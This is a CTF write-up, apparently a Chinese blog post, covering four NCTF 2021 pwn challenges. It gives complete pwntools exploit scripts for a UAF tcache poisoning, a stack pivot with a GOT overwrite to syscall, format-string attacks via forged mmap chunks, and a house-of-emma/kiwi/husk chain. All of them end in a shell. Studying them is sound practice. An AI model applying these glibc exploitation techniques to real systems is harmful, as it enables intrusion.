2021-NCTF pwn方向题目复现

原创

Amalll 于 2021-12-01 23:00:38 发布 2582 收藏 1
文章标签： pwn python linux 安全

周末在学校摸鱼了所以没有参加比赛，赛后看题又一次深刻的感觉到自己有多菜了（被新生赛暴打的大二菜狗子

1、easyheap

算是pwn的签到题目了，从libc2.32起加了一个异或的保护，不过因为uaf漏洞点外加并没有啥其他的限制所以利用起来没有什么难度

```
from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
 sla('>> ',str(idx))

def add(size,con):
 menu(1)
 sla('Size: ',str(size))
 sa('Content: ',con)

def edit(idx,con):
 menu(2)
 sla('Index: ',str(idx))
 sla('Content: ',con)

def free(idx):
 menu(3)
 sla('Index: ',str(idx))

def show(idx):
 menu(4)
 sla('Index: ',str(idx))

p = process('./pwn')
libc = ELF('./pwn').libc

[add(0x80,'a'*8) for i in range(9)]
free(0)
show(0)
heap = u64(rx(6).ljust(8,'\x00'))<<12
[free(i+1) for i in range(7)]
show(7)
base = u64(ru('\x7f').ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
f_hook = base+libc.sym['__free_hook']
system = base+libc.sym['system']

add(0x80,'lby'*8) #6&9
free(6)
pl = p64((heap>>12)^f_hook)
edit(9,pl)
add(0x80,'/bin/sh') #10
add(0x80,p64(system)) #11
free(10)
# debug()
shell()
```

2、login

栈溢出的题目，能溢出的字节很少所以肯定要栈迁移的。不过在我们控制程序流之前程序就先close(1)、close(2)了，所以没法leak内存地址。

一开始尝试修改_IO_2_1_stdout结构体的fileno为0，但是我的布局做法会改变stdout全局变量中的地址，所以在执行puts的时候一定会报错。

第一条路子走不通就去尝试看看修改某一个got表函数的地址跟syscall地址一样然后csu来getshell的办法。正好close函数的地址与syscall只差了1字节不同，爆破都省了。

这个题本地一直打不通，返回shell以后把文件描述符1重定向到0也没有回显，因为这道题目是Ubuntu20的环境而我本地是老古董环境Ubuntu18，打远程是可以通的。

```
import time
from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

# p = process('./pwn')
p = remote("129.211.173.64","10005")
elf = ELF("./pwn")
# gdb.attach(p,'b *0x40121F')
# debug()
read_got = elf.got['read']
close_got = elf.got['close']

leave = 0x40121f
re_read = 0x4011ED
fake = 0x404700
first = 0x40128a
second = 0x401270
target = 0x404090
rbp = 0x40117d

pl = 'a'*0x100+p64(target+0x100)+p64(re_read) #first
sa("Welcome to NCTF2021!\n",pl)

pl = p64(first)+p64(0)
pl+= p64(1)+p64(0x4040d0)
pl+= p64(0)*2
pl+= p64(close_got)+p64(second)
pl+= '/bin/sh\x00'
pl+= p64(0)*10
pl+= p64(fake)+p64(re_read)
pl = pl.ljust(0x100,'\x00')
pl+= p64(close_got+0x100)+p64(re_read)

# sleep(1)
s(pl)
```

```
s(pl)

#close-->syscall
sleep(0.3)
s('\x85')

#rax=59
pl = p64(first)+p64(0)
pl+= p64(1)+p64(0)
pl+= p64(fake+0x200)+p64(59)
pl+= p64(read_got)+p64(second)
pl+= 'a'*56
pl+= p64(rbp)+p64(0x404090-0x8)+p64(leave)
pl = pl.ljust(0x100,'\x00')
pl+= p64(0x404600-0x8)+p64(leave)
# sleep(1)
pause()
s(pl)
# sleep(1)
s('a'*59)
shell()
```

3、mmmmmmmap

非常有意思的一道题目，题目一开始先创建一个chunk并把“FMYY_YYDS!”存了进去。后面就是菜单题了。

漏洞点有两处：edit中异或处有一个小溢出、exit中满足write返回值是-1的时候会给一个bss段的格式化漏洞。 结合题目名称通过edit修改堆块size域的M位为1，这样在释放内存的时候会当作mmap申请的内存来处理，即释放后的内存不复用。

这样解题的思路就有了，修改chunksize域的M位为1，然后prev位设置上size值，当这个chunk被释放的时候就会连带这上面一整片内存区域一起释放，当我们选择功能4执行write的时候就满足进入格式化漏洞的要求啦。

这里需要注意的是mmap分配的内存都是页对齐的，所以我们修改的chunk也要满足这一点才可以，然后关于mmap_chunk的prev_size好像没有过多的检测就会调用munmap来释放内存了，所以我们在上面即使赋予一个很大的值也没有关系。

```
from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
 sla('choice: ',str(idx))

def add(size,con):
 menu(1)
 sla('Size: ',str(size))
```

```
 sla('Size: ',str(size))
 sa('Content: ',con)

def edit(idx,con):
 menu(2)
 sla('Index: ',str(idx))
 sa('Content: ',con)

def free(idx):
 menu(3)
 sla('Index: ',str(idx))

def fmt(_str):
 sla("INPUT:",_str)
 ru('\n')

# p = process('./pwn')
p = remote("129.211.173.64","10004")
libc = ELF('./pwn').libc
exit_got = ELF("./pwn").got['exit']
one = [0xe6c7e,0xe6c81,0xe6c84]
# gdb.attach(p,'b *$rebase(0x17C9)')

sla("Please tell me your lucky number(0x2-0xF):\n",str(3))
add(0xd18,'\x00')
add(0x18,'\x00')
add(0xff8,'\x00')
pl = '\x00'*0x10+p64(0x0303030303032303)
edit(1,pl)
free(2)
menu(4)

#leak libcbase
fmt("%11$p")
base = int(rud('\n'),16)-libc.sym['__libc_start_main']-243
rg = base+0x222060
rldlr = rg+0xF08
ogg = base+one[0]
success(hex(base))

#leak stack
fmt("%8$p")
stack = int(rud('\n'),16)&0xffff

#%13-->%41-->%40
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)

# rtld_lock_default_lock_recursive
low = rldlr&0xffff
mid = (rldlr>>16)&0xffff
high = (rldlr>>32)&0xffff

pl = '%'+str(low)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+2)+'c%13$hhn'
fmt(pl)
pl = '%'+str(mid)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+4)+'c%13$hn'
```

```
fmt(pl)
pl = '%'+str(high)+'c%41$n'
fmt(pl)
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)

#rtld_lock_default_lock_recursive->ogg
o_low = ogg&0xffff
o_mid = (ogg>>16)&0xffff
o_high = (ogg>>32)&0xffff

pl = '%'+str(o_low)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+2)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_mid)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+4)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_high)+'c%40$hn'
fmt(pl)
fmt('exit\n\x00')
print(hex(o_high),hex(o_mid),hex(o_low))
shell()
```

House_of_fmyyass

libc2.33的环境，程序开辟了一段可读可写的数据段来作为fakeheap地址。

add功能通过calloc申请chunk，calloc函数不通过tcache函数取堆块故关于tc的利用受到一定限制。同时未限制申请size大小，但是2.33版本的libc中通过修改top_chunk的size域的利用手段已经无法使用。同时注意到本题只能对最新申请的堆块执行show操作。

edit功能是往fakeheap地址的指定偏移位置写入内容，可以通过这个函数进行堆块布局。

因为本题使用的都是诸如_exit，write等直接进行syscall的函数，所以对我们想执行IO_cleanup函数造成了一定的影响。

在通过对wp的复现中了解到本题触发IO_flush_all_lockp的方式，实际上是一个house_of_husk+house_of_kiwi+house_ofemma的组合使用，下面我简单的说一下利用的大体思路：

1. 首先泄露出libc地址和fakeheap的基地址
2. 通过largebin_attack修改IO_list_all中的地址为fakeheap的地址，并伪造IO结构体（可参考house_of_emma中的伪造，这里选择使用IO_cookie_read的方式。需要注意的是在高版本的利用中需要绕过PTR_DEMANGlE保护，这个机制简单的来说就是通过ROR 0x11位后与tls中固定偏移处进行异或操作。所以我们需要将tls中的地址改为已知地址，并将system函数提前ROL，这样就可以绕过保护了。
3. 通过largebin_attack修改tls中偏移0x38处的地址为已知的。
4. 接下来就是触发IO_flush_all_lockp的方式了，本题通过触发__malloc_assert中的fxprintf，通过house_of_husk的方式伪造printf_function_table 和printf_arginfo_table两个表，并在printf_function_table中"%s"对应偏移处布置好IO_clean_up函数地址，这样在执行格式化字符串"%s"的时候就会执行我们事先布置好的IO_clean_up函数，进而调用内部的IO_flush_all_lockp函数并执行IO_cookie_read函数，最终getshell

exp:

```
import time
from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
```

```
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
 sla('>> ',str(idx))

def add(size):
 menu(1)
 sla('size: ',str(size))

def edit(off,con):
 menu(2)
 sla('size: ',str(len(con)))
 sla('offset: ',str(off))
 sa('content: ',con)

def free(idx):
 menu(3)
 sla('idx: ',str(idx))

def rol(num,shift):
 for i in range(shift):
  num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
 return num

p = process('./pwn')
libc = ELF('./pwn').libc

#leak libcbase
add(0x18)
edit(0x8,p64(0x451))
sleep(0.1)
edit(0x458,p64(0x21))
sleep(0.1)
edit(0x478,p64(0x21))
sleep(0.1)
free(0x10)
add(0x448)
free(0x10)
edit(0x10,'\x10')
menu(4)
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-112
system = base+libc.sym['system']
sh = base+libc.search('/bin/sh').next()
IO_list_all = base+libc.sym['_IO_list_all']
IO_cookie_jump = base+0x1e1a20
IO_cleanup = base+0x08ef80
tls = base-0x0028c0
# top_chunk = base+0x1e0c00
top_chunk = base+libc.sym['__malloc_hook']+0x70
pat = base+0x1eb218
pft = base+0x1e35c8
success(hex(base))
```

```
#leak fake heapbase
edit(0x10,'\x00')
add(0x18)
free(0x10)
menu(4)
heap = u64(rud("1. alloc")[-5:].ljust(8,'\x00'))<<12
success(hex(heap))

#change _IO_list_all 0x470
add(0x1000)
edit(0x48,p64(IO_list_all-0x20))
edit(0x478,p64(0x421))
edit(0x898,p64(0x21))
edit(0x8b8,p64(0x21))
free(0x480)
add(0x1000)

edit(0x498,p64(heap+0x20))
edit(0x40,p64(heap+0x470))
add(0x418)
add(0x428)

fake = p64(0xfbad1800)
fake+= '\x00'*0x20
fake+= p64(1)
fake = fake.ljust(0xd8,'\x00')
fake+= p64(IO_cookie_jump+0x58)
fake+= p64(sh)
fake+= p64(rol(system^(heap+0x9b0),0x11))
edit(0x470,fake)

# change tls
edit(0x568,p64(0x431))
edit(0x998,p64(0x21))
edit(0x9b8,p64(0x421))
edit(0xdd8,p64(0x21))
edit(0xdf8,p64(0x21))
free(0x570)
add(0x1000)
edit(0x588,p64(tls+0x10)) #tls_offset:0x38
free(0x9c0)
add(0x1000)

edit(0x580,p64(heap+0x9b0))
edit(0x9d8,p64(heap+0x560))
add(0x418)
add(0x428)

#change __printf_arginfo_table
free(0x570)
add(0x1000)
edit(0x588,p64(pat-0x20))
free(0x9c0)
add(0x1000)

#change __printf_function_table
edit(0x668,p64(0x531))
edit(0xb98,p64(0x21))
edit(0xbb8,p64(0x531))
```

```
edit(0xbb8,p64(0x521))
edit(0x10d8,p64(0x21))
edit(0x10f8,p64(0x21))
free(0x670)
add(0x1000)
free(0xbc0)
edit(0x688,p64(pft-0x20))
add(0x1000)

#__printf_function_table offset 920
edit(0xf48,p64(IO_cleanup))

#change topchunk
edit(0x1008,p64(0x631))
edit(0x1638,p64(0x21))
edit(0x1658,p64(0x621))
edit(0x1c78,p64(0x21))
edit(0x1c98,p64(0x21))
free(0x1010)
add(0x1000)
free(0x1660)
edit(0x1028,p64(top_chunk-0x20))
# gdb.attach(p,'b *$rebase(0x15FD)')
add(0x1000)
# debug()
shell()
```

参考链接：

NCTF2021 Official Writeup | 小绿草信息安全实验室
House OF Kiwi - 安全客，安全资讯平台
house-of-husk学习笔记 - 安全客，安全资讯平台
【WP】第七届“湖湘杯” House _OF _Emma|设计思路与解析